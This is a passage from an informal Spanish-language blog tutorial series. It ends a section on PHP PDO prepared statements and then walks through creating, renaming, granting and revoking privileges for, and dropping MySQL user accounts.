Lo que hace esto es algo nada filtrado en verdad xD. Solo Dice que si existe enviar entonces que prepare la inserción de un nuevo registro con nombre y apellido y esos dos los evalue como cadenas PDO::PARAM_STR también esta PDO::PARAM_INT,PDO::PARAM_BOOL,PDO::PARAM_NULL ... despues que ejecute la consulta...

Si hacemos esto ingresamos algún carácter para romper la consulta, lo que haría esto seria escaparlos (\) :P


 
Como cerrar la base de datos

Para cerrar una conexion solo necesitamos declarar nuestro objeto como null, por ejemplo:

$bd=null;

Aplicado al anterior codigo:

try{
    $bd= new PDO('mysql:host=localhost;dbname=test;charset=utf8','usuario','contraseña');
}catch(PDOException $ex){
    echo 'No se pudo conectar con la base de datos.';
}
    if(isset($_POST['enviar'])){
    $stmt=$bd->prepare("INSERT INTO usuarios (nombre,apellido) VALUES (:nombre,:apellido)");
    $stmt->bindParam(':nombre',$_POST['nombre'],PDO::PARAM_STR);
    $stmt->bindParam(':apellido',$_POST['apellido'],PDO::PARAM_STR);
    $stmt->execute();
    }
    $bd=null;

Conclusión

Usar PDO es mas seguro, eficaz y limpio.


Espero que este tutorial les haya gustado pero eso no es todo si quieren tener algo mas completo pueden ver la documentacion oficial de PHP

jueves, 16 de mayo de 2013

MySQL MiniTutorial Parte 5

Introduccion

En esta parte del minicursillo de mysql veremos los permisos en los usuarios en mysql, es muy importante ya que de esta manera podemos especificar cosas como son: si tiene permisos de leer archivos del servidor, si tiene permisos de conectarse tantas veces a la base de datos, de hacer tantas consultas, de ver algunas bases de datos, columnas, filas, etc....


Usuarios Y Privilegios

Empecemos definiendo como esta creado un usuario, es decir, como puede ser identificado por el servidor, de manera que los haya dos usuarios con el mismo nombre pero el servidor pueda identificarlos como dos usuarios diferentes....

Por ejemplo, podemos tener dos usuarios con el nombre joe:

joe@localhost

joe@192.168.1.2

Con esto indicariamos que hay dos usuarios diferentes llamados joe, uno desde la maquina local y otro desde otra maquina que esta en la subred...
El arroba lo usamos como un tipo de separador!, entonces tenemos dos identificadores en mysql en este caso seria el user y el host... todo esto se puede conseguir desde la base de datos de mysql.... Por ejemplo:


En el caso de esta imagen, tengo una consulta como la siguiente:

select user,host,password from mysql.user;

me muestra 8 filas.... en este caso solo tengo en realidad 3 usuarios....
¿Por que solo tres usuarios? Pues por que el usuario root es el mismo para todo por que siempre esta indicando al mismo host en este caso localhost, arthusu-PC,127.0.0.1,::1 son el mismo host pero puede interpretarse de diferente manera como lo ves en la imagen.... Tambien podemos encontrar muchas columnas y filas interesantes en la base de datos mysql:


Nombre tabla user db host
Alcance columnas Host Host Host
  User Db Db
  Password User  
Columnas privilegios Select_priv Select_priv Select_priv
  Insert_priv Insert_priv Insert_priv
  Update_priv Update_priv Update_priv
  Delete_priv Delete_priv Delete_priv
  Index_priv Index_priv Index_priv
  Alter_priv Alter_priv Alter_priv
  Create_priv Create_priv Create_priv
  Drop_priv Drop_priv Drop_priv
  Grant_priv Grant_priv Grant_priv
  Create_view_priv Create_view_priv Create_view_priv
  Show_view_priv Show_view_priv Show_view_priv
  Create_routine_priv Create_routine_priv  
  Alter_routine_priv Alter_routine_priv  
  References_priv References_priv References_priv
  Reload_priv    
  Shutdown_priv    
  Process_priv    
  File_priv    
  Show_db_priv    
  Super_priv    
  Create_tmp_table_priv Create_tmp_table_priv Create_tmp_table_priv
  Lock_tables_priv Lock_tables_priv Lock_tables_priv
  Execute_priv    
  Repl_slave_priv    
  Repl_client_priv    
Columnas seguridad ssl_type    
  ssl_cipher    
  x509_issuer    
  x509_subject    
Columnas recursos control max_questions    
  max_updates    
  max_connections    
  max_user_connections  
Desde la cual podriamos modificar todo lo que estamos viendo en este minitutorial.... como ver los privilegios, modificarlos, eliminar un usuario, etc todo usando un usuario con los suficientes privilegios y algunas consultas que podemos hacer con lo anteriormente aprendido :) seria una buena forma de dejarles una tarea :D ja!

Otra forma de saberlo seria, por ejemplo si estamos conectados a la base de datos:

select current_user();


Como puedes ver el user que estoy usando actualmente es root@localhost

Crear una cuenta de usuario

Veremos como crear una cuenta de usuario con el comando CREATE USER, para ello veremos primero su sintaxis que es la siguiente:

CREATE USER user [IDENTIFIED BY [PASSWORD] 'password']
    [, user [IDENTIFIED BY [PASSWORD] 'password']] ...
La sintaxis la he tomado desde la pagina oficial de mysql, en este caso solo debo definir algunos puntos....

CREATE USER - el comando para crear un usuario
user - el nombre del usuario en este caso puede ser el que tu quieras, por ejemplo: arthusuBLOG

Luego sigue algo como esto  [] todo lo que este encerrado entre esos corchetes es opcional, es decir, lo ponemos si nosotros queremos pero si no queremos no, es mas bien si lo ocupamos o no....

IDENTIFIED BY [PASSWORD] - especificamos la contraseña que queremos que tenga ese usuario

Entonces ya sabemos como funciona la sintaxis estamos listo para hacer nuestra consulta de crear un usuario, no sin antes decir, que para poder crear un usuario primero que nada en el usuario que me encuentro en este momento debe tener privilegios de CREATE USER o INSERT en la base de datos mysql....

podemos ver los privilegios del usuario que deseemos de esta manera:

SHOW GRANTS FOR user;

donde user es el usuario que deseas ver los permisos que tiene o privilegios....





Como podemos ver en este caso tengo todos los privilegios en todas las bases de datos... para saber los privilegios puedo ver la lista:





Privilegio Columna Contexto
CREATE Create_priv bases de datos, tablas, o índices
DROP Drop_priv bases de datos o tablas
GRANT OPTION Grant_priv bases de datos, tablas, o procedimientos almacenados
REFERENCES References_priv bases de datos o tables
ALTER Alter_priv tablas
DELETE Delete_priv tablas
INDEX Index_priv tablas
INSERT Insert_priv tablas
SELECT Select_priv tablas
UPDATE Update_priv tablas
CREATE VIEW Create_view_priv vistas
SHOW VIEW Show_view_priv vistas
ALTER ROUTINE Alter_routine_priv procedimientos almacenados
CREATE ROUTINE Create_routine_priv procedimientos almacenados
EXECUTE Execute_priv procedimientos almacenados
FILE File_priv acceso a archivos en la máquina del servidor
CREATE TEMPORARY TABLES Create_tmp_table_priv administración del servidor
LOCK TABLES Lock_tables_priv administración del servidor
CREATE USER Create_user_priv administración del servidor
PROCESS Process_priv administración del servidor
RELOAD Reload_priv administración del servidor
REPLICATION CLIENT Repl_client_priv administración del servidor
REPLICATION SLAVE Repl_slave_priv administración del servidor
SHOW DATABASES Show_db_priv administración del servidor
SHUTDOWN Shutdown_priv administración del servidor
SUPER Super_priv administración del servidor

Esta tabla ha sido tomada de la pagina oficial de mysql...


Entonces creo nuestro usuario que en este caso se llamara arthusublog y su host sera localhost y la contraseña sera mipass... en este caso utilice la funcion PASSWORD() para que me generara un hash de mysql v5 y lo pegue tal como texto plano :D





CREATE USER arthusu@localhost IDENTIFIED BY '*EA8CE51785AFEB6794A7F248E0D0F86C9A494E29 ';

Otra cosa que pasa es que este usuario no puede ser usado por que nos mandara un mensaje de error como el siguiente:


Esto se debe a que le usuario existe pero no tiene permisos de nada, ni siquera de entrar... xD

Entonces le asignare todos los permisos, en este caso, aunque podria ser de diferente manera y no asignar solo permisos especificos, pero como en este caso no estamos viendo a profundidad el comando GRANT entonces solo explicaremos que es lo que que hace el siguiente comando:



En este caso le damos todos los privilegios al usuario arthusu@localhost y despues actualizamos los privilegios con flush privileges.... esto es muy importante por que si no lo hacemos no nos dejara entrar... ya que los privilegios no serian actualizados y no tomaria la consulta anterior...

con esto podriamos decir que tenemos otro usuario administrativo :P
Entonces accedemos a el, esto lo vimos si no estoy mal de memoria en la primera parte.

mysql -u arthusublog -p mipass






Renombrar un usuario

En este caso veremos como renombrar el usuario que acabamos de crear que en este caso en arthusublog lo renombraremos a arthusu para eso usaremos el comando RENAME USER, la sintaxis es la siguiente:


RENAME USER old_user TO new_user
    [, old_user TO new_user] ...


RENAME USER - lo que hace es renombrar un usuario
old_user - es el usuario actual
new_user - es el nuevo nombre que le daremos al usuario
[,old_user TO new_user] - esto es opcional podemos indicar mas de 1 usuario a renombrar especificando una coma despues de el otro usuario :P

Veamos en un ejemplo:


Dar privilegios y Quitar Privilegios

Para conceder o dar privilegios usamos el comando GRANT, su sintaxis es la siguiente:


GRANT priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    TO user [IDENTIFIED BY [PASSWORD] 'password']
        [, user [IDENTIFIED BY [PASSWORD] 'password']] ...
    [REQUIRE
        NONE |
        [{SSL| X509}]
        [CIPHER 'cipher' [AND]]
        [ISSUER 'issuer' [AND]]
        [SUBJECT 'subject']]
    [WITH with_option [with_option] ...]

object_type =
    TABLE
  | FUNCTION
  | PROCEDURE

with_option =
    GRANT OPTION
  | MAX_QUERIES_PER_HOUR count
  | MAX_UPDATES_PER_HOUR count
  | MAX_CONNECTIONS_PER_HOUR count
  | MAX_USER_CONNECTIONS count


Si es un poco larga por que tiene su lista de opcionales :D
Antes de continuar quiero decirles que para poder dar privilegios el usuario que utilices necesita tener activada la opcion  GRANT OPTION.
En este caso explicaremos lo mas utilizado:

GRANT - concede privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
TO -  luego de el sigue el usuario donde tambien si quisieramos modificar la constraseña podriamos indicarla...
WITH - indica algunas cosas interesantes como puede ser lo que el usuario puede hacer, como por ejemplo: maximo de conecciones por hora, el maximo de peticiones por hora, etc...

Veamos un ejemplo, con el usuario que tenemos arthusuxd no queremos que tenga todo el control sino que solo pueda realizar select (coger datos) solo en la base de datos mysql y que solo pueda realizar 5 peticiones por hora....


Pero antes de poder darle privilegios a este usuario primero debemos revocarle o quitarle los permisos que tenia anteriormente que eran todos....

Esto lo hacemos con REVOKE...Su sintaxis es:

REVOKE priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    FROM user [, user] ...

REVOKE - quita privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
FROM  user - indica el usuario a revocar o quitar privilegios donde user vendria siendo el usuario al que le quieres quitar privilegios...

En este caso le quito todos los privilegios que tenia y luego actualizo la lista de privilegios, con esto cuando muestro los privilegios de ese usuario solo se queda con USAGE que en realidad significa que no tiene ningun privilegio :P

Ahora si le daremos los privilegios que anteriormente queriamos tener:





Estamos listos para probar esos privilegios:

Como puedes ver hemos sobrepasado las 5 peticiones por hora :D

Pero en este caso si quisieramos reiniciar de nuevo las peticiones hacemos una actualizacion en la base de datos mysql en la columna max_questions del usuario arthusu@localhost y lo dejariamos a 10 por ejemplo :D.....
Con esto tendriamos 10 consultas XD....






Eliminar un usuario

Por ultimo si ya no quisieramos usar ese usuario simplemente lo eliminamos :D
La sintaxis es la siguiente:

DROP USER user [, user] ...

DROP USER - indica que se va eliminar un usuario
user- es el nombre del usuario a eliminar
[,user] - es opcional podemos eliminar mas de un usuario

Veamos un ejemplo:

DROP user arthusuxd@localhost;


De esta forma he eliminado el usuario arthusuxd@localhost y puedo comprobarlo viendo el user,host desde mysql.user....

Espero que les haya gustado el minitutorial y esperen el proximo, jeje no habia tenido tiempo de postear algo asi que aqui esta :P XD